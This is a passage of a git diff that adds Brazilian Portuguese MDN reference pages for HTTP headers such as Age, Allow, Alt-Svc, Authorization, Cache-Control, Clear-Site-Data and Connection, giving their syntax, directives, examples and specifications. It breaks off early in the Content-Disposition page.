Web/HTTP/Headers/Age +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <code><strong>Age</strong></code> contém o tempo, em segundos, em que o objeto já está no <em>cache</em> de um proxy.</p> + +<p>O cabeçalho <code>Age</code> é normalmente perto de zero. Se <code>Age: 0</code>, é provável que ele tenha acabado de ser obtido do servidor de origem; senão, é normalmente calculado como a diferença entre a data corrente do proxy e o cabeçalho genérico {{HTTPHeader("Date")}} incluído na resposta HTTP.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Age: <delta-seconds> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><delta-seconds></dt> + <dd> + <p>Um inteiro não-negativo, representando o tempo em segundos em que o objeto já está no <em>cache</em> do proxy.</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Age: 24</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7234", "Age", "5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Age")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Expires")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/allow/index.html b/files/pt-br/web/http/headers/allow/index.html new file mode 100644 index 0000000000..6647cb5a75 --- /dev/null +++ b/files/pt-br/web/http/headers/allow/index.html @@ -0,0 +1,67 @@ +--- +title: Allow +slug: Web/HTTP/Headers/Allow +tags: + - Cabeçalho HTTP + - Cabeçalho de Entidade + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Allow +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <code><strong>Allow</strong></code> lista um conjunto de métodos suportados pelo recurso.</p> + +<p>O cabeçalho deve ser enviado se o servidor responde com um código de resposta {{HTTPStatus("405")}} <code>Method Not Allowed</code>, para indicar quais métodos de requisição podem ser utilizados. Um cabeçalho <code>Allow</code> vazio indica que o recurso não permite cabeçalhos de requisição, o que pode acontecer temporariamente para um dado recurso, por exemplo.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Allow: <métodos-http> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><métodos-http></dt> + <dd>Uma lista de <a href="/en-US/docs/Web/HTTP/Methods">métodos de requisição HTTP</a> separados por vírgula.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Allow: GET, POST, HEAD</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "Allow", "7.4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("405")}}</li> + <li>{{HTTPHeader("Server")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/alt-svc/index.html b/files/pt-br/web/http/headers/alt-svc/index.html new file mode 100644 index 0000000000..5defcf508a --- /dev/null +++ b/files/pt-br/web/http/headers/alt-svc/index.html @@ -0,0 +1,71 @@ +--- +title: Alt-Svc +slug: Web/HTTP/Headers/Alt-Svc +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - Reference + - Referencia +translation_of: Web/HTTP/Headers/Alt-Svc +--- +<p>O cabeçalho de resposta HTTP <strong><code style="white-space: nowrap;">Alt-Svc</code></strong> é usado para indicar que serviços alternativos que podem ser utilizados para alcançar o mesmo recurso. Um serviço alternativo é definido por uma combinação de protocolo/host/porta.</p> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Alt-Svc: clear +Alt-Svc: <var><protocol-id></var>=<em><alt-authority></em>; ma=<var><max-age></var> +Alt-Svc: <var><protocol-id></var>=<em><alt-authority></em>; ma=<var><max-age></var>; persist=1</pre> + +<dl> + <dt><code>clear</code></dt> + <dd>O valor especial ''clear" indica que todas as requisições alternativas para aquela origem devem ser invalidadas.</dd> + <dt><code><protocol-id></code></dt> + <dd>O identificador de protocolo {{Glossary("ALPN")}}. Exemplos incluem o h2 para HTTP/2 e h3-25 como rascunho 25 para o protocolo HTTP/3.</dd> + <dt><code><alt-authority></code></dt> + <dd>A cadeia de caracteres entre aspas especificando a autoridade alternativa que consiste em uma sobrecarga de host opicional, dois pontos e um número de porta mandatório.</dd> + <dt><code>ma=<max-age></code>{{Optional_Inline}}</dt> + <dd>O número de segundos que o serviço alternativo é considerado "fresco". Se omitido, seu padrão é 24 horas. Entradas de serviços alternativos podem ser cacheados até o limite de <em><max-age></em> segundos, menos a idade da resposta (do cabeçalho Age). Se a entrada cacheada expirar, o cliente não pode mais usar o serviço alternativo para novas conexões.</dd> + <dt><code>persist=1</code>{{Optional_Inline}}</dt> + <dd>Entradas cacheadas de serviços alternativos geralmente são limpas em mudanças nas configurações de rede. O uso do parâmetro persist=1 assegura que a entrada não será deletada para tais mudanças.</dd> +</dl> + +<p>Múltiplas entradas podem ser especificadas em um único cabeçalho Alt-Svc usando vírgula como separador. Neste caso, as primeiras entradas são consideradas as mais preferíveis.</p> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Alt-Svc: h2=":443"; ma=2592000; +Alt-Svc: h2=":443"; ma=2592000; persist=1 +Alt-Svc: h2="alt.example.com:443", h2=":443" +Alt-Svc: h3-25=":443"; ma=3600, h2=":443"; ma=3600</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentários</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(7838)}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td>Definição inicial.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external external-icon" href="https://github.com/mdn/browser-compat-data" rel="noopener">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> + +<p>{{Compat("http.headers.Alt-Svc")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificando recursos na Web</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/authorization/index.html b/files/pt-br/web/http/headers/authorization/index.html new file mode 100644 index 0000000000..018c335175 --- /dev/null +++ b/files/pt-br/web/http/headers/authorization/index.html @@ -0,0 +1,94 @@ +--- +title: Authorization +slug: Web/HTTP/Headers/Authorization +tags: + - Autenticação + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Reference + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Authorization +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>Authorization</code></strong> contém as credenciais para autenticar o agente de usuário com o servidor, geralmente o servidor responderá com um status {{HTTPStatus("401")}} <code>Unauthorized</code> se não for possível fazer a autenticação, e com o cabeçalho {{HTTPHeader("WWW-Authenticate")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Authorization: <tipo> <credenciais></pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><tipo></dt> + <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo de autenticação</a>. Um tipo comum é o <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. Outros tipos: + <ul> + <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">Registro do IANA dos esquemas de Autenticação</a></li> + <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Autenticação para servidores AWS (<code>AWS4-HMAC-SHA256</code>)</a></li> + </ul> + </dd> + <dt><credenciais></dt> + <dd>Se a autenticação "Basic" é utilizada, as credenciais construção são parecidas com isto: + <ul> + <li>O nome de usuário com a senha combinados por dois pontos (<code>aladdin:opensesame</code>).</li> + <li>A cadeia de caracteres resultante é uma codificação <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li> + </ul> + + <div class="note"> + <p><strong>Nota</strong>: Codificação Base64 não significa encriptação ou hashing! Esse método é igualmente seguro como mandar em texto limpo (base64 é uma codificação que pode ser revertida). Use o HTTPS em conjunto com a Autenticação Basic.</p> + </div> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +</pre> + +<p>Veja também <a href="/en-US/docs/Web/HTTP/Authentication">autenticação HTTP</a> para exemplos em como configurar os servidores Apache ou nginx para proteger seu site com autenticação básica HTTP.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7235", "Authorization", "4.2")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>O esquema de autenticação HTTP 'Basic'</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">Autenticação HTTP</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/cache-control/index.html b/files/pt-br/web/http/headers/cache-control/index.html new file mode 100644 index 0000000000..bd1141a028 --- /dev/null +++ b/files/pt-br/web/http/headers/cache-control/index.html @@ -0,0 +1,174 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +tags: + - Cabaçalho genérico + - Cabeçalhos HTTP +translation_of: Web/HTTP/Headers/Cache-Control +--- +<div>{{HTTPSidebar}}</div> + +<p>O campo de cabeçalho genérico <strong><code>Cache-Control</code></strong> é usado para especificar diretivas para mecanismos de <em>cache</em> tanto em requisições quanto em respostas. Diretivas de <em>cache</em> são unidirecionais, o que significa que uma dada diretiva em uma requisição não implica em que a mesma seja dada na resposta.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<p>As diretivas são insensíveis à caixa (<em>case-insensitive)</em> e tem um argumento opcional, que pode usar tanto a sintaxe de token quanto a de cadeias entre aspas. Multiplas diretivas são separadas por virgula.</p> + +<h3 id="Diretivas_de_Cache_de_requisições">Diretivas de Cache de requisições</h3> + +<p>Diretivas <code>Cache-Control</code> padrão que podem ser usadas pelo cliente em uma requisição HTTP.</p> + +<pre class="syntaxbox notranslate">Cache-Control: max-age=<segundos> +Cache-Control: max-stale[=<segundos>] +Cache-Control: min-fresh=<segundos> +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: only-if-cached +</pre> + +<h3 id="Diretivas_de_Cache_de_respostas">Diretivas de Cache de respostas</h3> + +<p>Diretivas <code>Cache-Control</code> padrão que podem ser usadas pelo servidor em uma resposta HTTP.</p> + +<pre class="syntaxbox notranslate">Cache-Control: must-revalidate +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: public +Cache-Control: private +Cache-Control: proxy-revalidate +Cache-Control: max-age=<segundos> +Cache-Control: s-maxage=<segundos> +</pre> + +<h3 id="Diretivas_Cache-Control_Extendidas">Diretivas <code>Cache-Control</code> Extendidas</h3> + +<p>Diretivas <code>Cache-Control</code> extendidas não são parte do cerne do documento HTTP caching standards. Verifique a <a href="#Browser_compatibility">tabela de compatibilidade</a> para certificar-se do seu suporte.</p> + +<pre class="syntaxbox notranslate">Cache-Control: immutable +Cache-Control: stale-while-revalidate=<seconds> +Cache-Control: stale-if-error=<seconds> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<h3 id="Cacheabilidade">Cacheabilidade</h3> + +<dl> + <dt><code>public</code></dt> + <dd>Indica que a resposta pode ser memorizada por qualquer cache.</dd> + <dt><code>private</code></dt> + <dd>Indica que a resposta é para um único usuário e não deve ser armazenada por um cache compartilhado. Um cache privativo pode armazenar a resposta.</dd> + <dt><code>no-cache</code></dt> + <dd>Força o cache a submeter a requisição ao servidor origem para validação antes de liberar a cópia em memória.</dd> + <dt><code>only-if-cached</code></dt> + <dd>Indica que novos dados não devem ser obtidos. Se este é o caso, o servidor deseja que o cliente obtenha a resposta somente uma vez e memorize (no cache). A partir desse momento o cliente deveria liberar somente a cópia em cache e evitar contactar o servidor origem para ver se há cópias novas.</dd> +</dl> + +<h3 id="Expiração">Expiração</h3> + +<dl> + <dt><code>max-age=<segundos></code></dt> + <dd>Especifica o tempo máximo em que um recurso será considerado fresco. Ao contrário de <code>Expires</code>, esta diretiva é relativa à hora da requisição.</dd> + <dt><code>s-maxage=<segundos></code></dt> + <dd>Tem precedência sobre <code>max-age</code> ou o cabeçalho <code>Expires</code>, mas só se aplica a caches compartilhados (p.ex., proxies) e é ignorada por caches privados.</dd> + <dt><code>max-stale[=<segundos>]</code></dt> + <dd>Indica que o cliente pode aceitar uma resposta que excedeu seu período de expiração. Opcionalmente, você pode informar um valor em segundos, indicando o tempo em que a resposta não será expirada.</dd> + <dt><code>min-fresh=<segundos></code></dt> + <dd>Indica que o cliente quer uma resposta que será fresca por pelo menos o número de segundos especificado.</dd> + <dt><code>stale-while-revalidate=<segundos></code> {{experimental_inline}}</dt> + <dd>Indica que o cliente aceitará uma resposta de caducidade enquanto verifica uma fresca assincronamente em <em>background</em>. O valor em segundos indica por quanto tempo o cliente espera a resposta de caducidade.</dd> + <dt><code>stale-if-error=<segundos></code> {{experimental_inline}}</dt> + <dd>Indica que o cliente espera aceitar uma resposta de caducidade se falhou a verificação de uma fresca. O valor em segundos indica quanto tempo o cliente aceitará a resposta de caducidade após a expiração inicial.</dd> +</dl> + +<h3 id="Revalidação_e_recarga">Revalidação e recarga</h3> + +<dl> + <dt><code>must-revalidate</code></dt> + <dd>O cache deve verificar o estado dos recursos caducos antes de usá-los e não usar recursos expirados.</dd> + <dt><code>proxy-revalidate</code></dt> + <dd>Mesmo que <code>must-revalidate</code>, mas só se aplica a caches compartilhados (p.ex., proxies) e é ignorado por um cache privado.</dd> + <dt><code>immutable</code></dt> + <dd>Indica que o corpo da resposta não mudará ao longo do tempo. O recurso, se ainda hábil, está inalterado no servidor e portanto o cliente não deverá enviar uma revalidação condicional para ele (p.ex. <code>If-None-Match</code> ou <code>If-Modified-Since</code>) a fim de verificar atualiações, mesmo quando o usuário recarrega explicitamente a página. Clientes que não reconhecem esta extensão devem ignorá-la, segundo a especificação HTTP. No Firefox, <code>immutable</code> é honrado somente em transações <code>https://</code>. Para mais informações, veja também este <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">blog post</a>.</dd> +</dl> + +<h3 id="Outros">Outros</h3> + +<dl> + <dt><code>no-store</code></dt> + <dd>O cache não deverá armazenar qualquer coisa sobre a requisição do cliente ou a resposta do servidor.</dd> + <dt><code>no-transform</code></dt> + <dd>Nenhuma transformação ou conversão deverá ser feita no recurso. Os cabeçalhos Content-Encoding, Content-Range, Content-Type não devem ser modificados por um proxy. Um proxy não transparente deve, por exemplo, converter formatos de imagens a fim de economizar espaço de cache ou reduzir o tráfego no link lento. A diretiva <code>no-transform</code> não permite isso.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Prevenindo_o_cache">Prevenindo o cache</h3> + +<p>Para desligar o armazenamento em cache, você pode enviar o cabeçalho de resposta seguinte. Alem disso, veja também os cabeçalhos <code>Expires</code> e <code>Pragma</code>.</p> + +<pre class="brush: bash notranslate">Cache-Control: no-cache, no-store, must-revalidate +</pre> + +<h3 id="Cache_de_conteúdo_estático">Cache de conteúdo estático</h3> + +<p>Para os arquivos da aplicação que não mudarão, você pode usar um cache mais agressivo enviando o cabeçalho de resposta abaixo. Isto inclui arquivos estáticos servidos pela aplicação tais como imagens, arquivos CSS e JavaScript, por exemplo. Veja também o cabeçalho <code>Expires</code>.</p> + +<pre class="brush: bash notranslate">Cache-Control: public, max-age=31536000</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7234")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + <tr> + <td>{{RFC("5861")}}</td> + <td>HTTP Cache-Control Extensions for Stale Content</td> + </tr> + <tr> + <td>{{RFC("8246")}}</td> + <td>HTTP Immutable Responses</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Cache-Control")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li> + <li>{{HTTPHeader("Age")}}</li> + <li>{{HTTPHeader("Expires")}}</li> + <li>{{HTTPHeader("Pragma")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/clear-site-data/index.html b/files/pt-br/web/http/headers/clear-site-data/index.html new file mode 100644 index 0000000000..fec417cb08 --- /dev/null +++ b/files/pt-br/web/http/headers/clear-site-data/index.html @@ -0,0 +1,116 @@ +--- +title: Clear-Site-Data +slug: Web/HTTP/Headers/Clear-Site-Data +tags: + - Armazenamento + - Cabeçalho HTTP + - Cache + - Cookies + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Clear-Site-Data +--- +<p>{{HTTPSidebar}}</p> + +<p>O cabeçalho HTTP <strong><code>Clear-Site-Data</code></strong> limpa os dados de navegação (<em>cookies</em>, armazenamento, <em>cache</em>) associados com o site requisitado. Ele permite desenvolvedores web terem maior controle sobre os dados armazenados localmente pelo navegador para suas origens.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<p>O cabeçalho <code>Clear-Site-Data</code> aceita uma ou mais diretivas. Se todos os dados devem ser limpos, a diretiva coringa (<code>"*"</code>) pode ser usada.</p> + +<pre>// Diretiva única +Clear-Site-Data: "cache" + +// Múltiplas diretivas (separado por vírgula) +Clear-Site-Data: "cache", "cookies" + +// Coringa +Clear-Site-Data: "*" +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<p class="note">Todas as diretivas devem estar de acordo com a <a href="https://tools.ietf.org/html/rfc7230#section-3.2.6">gramática de cadeia de caracteres com as aspas</a>. A diretiva que não inclui aspas duplas é inválida.</p> + +<dl> + <dt id="cache"><code>"cache"</code></dt> + <dd>Indica que o servidor quer remover localmente os dados cacheados (i.e. o cache do navegador, veja <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">HTTP caching</a>) para a URL de origem da resposta. Dependendo do navegador, essa diretiva pode acabar apagando outras coisas como páginas pré-renderizadas, <em>scripts</em> armazenados, shaders WebGL ou sugestões na barra de endereço.</dd> + <dt id="cookies"><code>"cookies"</code></dt> + <dd>Indica que o servidor quer remover todos os <em>cookies</em> da URL de origem da resposta. Credenciais de autenticação HTTP também são limpas. Isso afeta o registro inteiro do domínio, incluindo subdomínios. Então, https://example.com também como https://stage.example.com, terão seus <em>cookies</em> limpos.</dd> + <dt id="storage"><code>"storage"</code></dt> + <dd>Indica que o servidor quer remover todo o armezenamento DOM para a URL de origem da resposta. Isso incluí mecanismos de armazenamento como: + <ul> + <li>localStorage (executa <code>localStorage.clear</code>),</li> + <li>sessionStorage (executa <code>sessionStorage.clear</code>),</li> + <li>IndexedDB (para cada banco de dados, executa {{domxref("IDBFactory.deleteDatabase")}}),</li> + <li>Registros de serviços de trabalhadores (para cada registro de serviço de trabalhador, executa {{domxref("ServiceWorkerRegistration.unregister")}}),</li> + <li><a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache,</a></li> + <li>Banco de dados WebSQL,</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">FileSystem API data</a>,</li> + <li>Dados de plugin (Flash via <code><a href="https://wiki.mozilla.org/NPAPI:ClearSiteData">NPP_ClearSiteData</a></code>).</li> + </ul> + </dd> + <dt id="executionContexts"><code>"executionContexts"</code></dt> + <dd>Indica que o servidor quer recarregar todos os contextos do navegador da origem da resposta ({{domxref("Location.reload")}}).</dd> + <dt><code>"*"</code> (coringa)</dt> + <dd>Indica que o servidor quer limpar todos os tipos de dados da origem da resposta. Se mais tipos de dados forem adicionados nesse cabeçalho, eles também serão cobertos.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Deslogar_de_um_site">Deslogar de um site</h3> + +<p>Se um usuário se desloga de um site ou serviço, você talvez queira remover dados armazenados localmente. Você pode atingir isso adicionando o cabeçalho <code>Clear-Site-Data</code> quando enviando a página confirmando o desligamento da autenticação da pessoa do site foi feito com sucesso (https://example.com/logout, por exemplo):</p> + +<pre>Clear-Site-Data: "cache", "cookies", "storage", "executionContexts"</pre> + +<h3 id="Limpando_cookies">Limpando cookies</h3> + +<p>Se o cabeçalho é entregue com a resposta em https://example.com/clear-cookies, todos os <em>cookies</em> no mesmo domínio e qualquer subdomínio (como https://stage.example.com, etc), serão limpos.</p> + +<pre>Clear-Site-Data: "cookies"</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-clear-site-data">Clear Site Data</a></td> + <td>Working Draft</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Clear-Site-Data")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/conexão/index.html b/files/pt-br/web/http/headers/conexão/index.html new file mode 100644 index 0000000000..b8df737d95 --- /dev/null +++ b/files/pt-br/web/http/headers/conexão/index.html @@ -0,0 +1,54 @@ +--- +title: Connection +slug: Web/HTTP/Headers/Conexão +tags: + - Cabeçalhos + - HTTP + - Reference + - Referencia + - Web +translation_of: Web/HTTP/Headers/Connection +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <strong><code>Connection</code></strong> controla se a conexão se mantém aberta ou não após o término da transação atual. Se o valor for <code>keep-alive</code>, a conexão é persistente e não fecha, permitindo que requisições futuras ao mesmo servidor sejam feitas.</p> + +<div class="blockIndicator note"> +<p><strong>Nota:</strong> <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">Campos de cabeçalho de conexão específica como Connection não devem ser usados com HTTP/2.</a></p> +</div> + +<p>Exceto pelos cabeçalhos padrões <em>hop-by-hop </em>(salto-por-salto) ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} e {{HTTPHeader("Proxy-Authenticate")}}), quaisquer cabeçalhos <em>hop-by-hop</em> usados pela mensagem devem estar listados no cabeçalho <code>Connection</code>, para que o primeiro proxy saiba que tem que consumi-los e não repassá-los além. Os cabeçalhos <em>hop-by-hop </em>padrões podem ser listados também (como é o caso do {{HTTPHeader("Keep-Alive")}}, mas não é obrigatório).</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Connection: keep-alive +Connection: close +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>close</code></dt> + <dd>Indica que ou o cliente, ou o servidor querem fechar a conexão. Este é o valor padrão em requisições HTTP/1.0.</dd> + <dt>qualquer lista de cabelhaços HTTP separados por vírgulas [Geralmente apenas o <code>keep-alive</code> ]</dt> + <dd>Indica que o cliente gostaria de manter a ligação aberta. Ter uma conexão persistente é o valor padrão das requisições HTTP/1.1. A lista de cabeçalhos são os nomes dos cabeçalhos a serem removidos pelo primeiro proxy não-transparente ou com "cache no meio": estes cabeçalhos definem a conexão entre o emissor e a primeira entidade, não o nó destinatário.</dd> +</dl> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Connection")}}</p> diff --git a/files/pt-br/web/http/headers/content-disposition/index.html b/files/pt-br/web/http/headers/content-disposition/index.html new file mode 100644 index 0000000000..6deb5283a4 --- /dev/null +++ b/files/pt-br/web/http/headers/content-disposition/index.html @@ -0,0 +1,140 @@ +--- +title: Content-Disposition +slug: Web/HTTP/Headers/Content-Disposition +tags: + - Cabeçalho Geral + - Cabeçalho de Resposta + - HTTP + - Reference + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Content-Disposition +--- +<div>{{HTTPSidebar}}</div> + +<div>Em uma resposta HTTP normal, o cabeçalho de resposta <code><strong>Content-Disposition</strong></code> indica se o conteúdo é esperado a ser exibido <em>inline</em> no navegador, isso significad, como uma página Web ou parte de uma, ou como um anexo, que é baixado e salvo localmente.</div> + +<div></div> + +<p>Em um corpo <code>multipart/form-data</code>, o cabeçalho geral HTTP <strong><code>Content-Disposition</code></strong> é um cabeçalho que pode ser utilizado em uma subparte de um corpo multipartes para dar informações sobre o campo a que ele se aplica. A subparte é delimitada pelo limite definido no cabeçalho {{HTTPHeader("Content-Type")}}. Usado no corpo em si, <code>Content-Disposition</code> não tem efeito.</p> + +<p>O cabeçalho <code>Content-Disposition</code> é definido em um grande contexto de mensagens MIME para e-mail, mas somente um subconjunto dos possíveis parâmetros são aplicados à formulários HTTP e requisições {{HTTPMethod("POST")}} requests. Somente o valor <code>form-data</code>, assim como a diretiva opcional <code>name</code> e <code>filename</code>, podem ser usadas no contexto HTTP.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}} (para o corpo principal)<br> + {{Glossary("General header")}} (para a subparte de um corpo multipartes)</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<h3 id="Como_cabeçalho_de_resposta_para_o_corpo_principal">Como cabeçalho de resposta para o corpo principal</h3> + +<p>O primeiro parâmetro no contexto HTTP ou é <code>inline</code> (valor padrão, indicando que ele pode ser mostrado dentro de uma página Web, ou como uma página Web) ou <code>attachment</code> (indicando que ele devev ser baixado; a maioria dos navegadores apresenta uma caixa de diálogo "Salvar como", pré-preenchido com o valor do parâmetro <code>filename</code> se presente).</p> + +<pre class="syntaxbox">Content-Disposition: inline +Content-Disposition: attachment +Content-Disposition: attachment; filename="filename.jpg"</pre> + +<h3 id="Como_cabeçalho_para_um_corpo_multipartes">Como cabeçalho para um corpo multipartes</h3> + +<p>O primeiro parâmetro no contexto HTTP é sempre o <code>form-data</code>. Parâmetros adicionais são 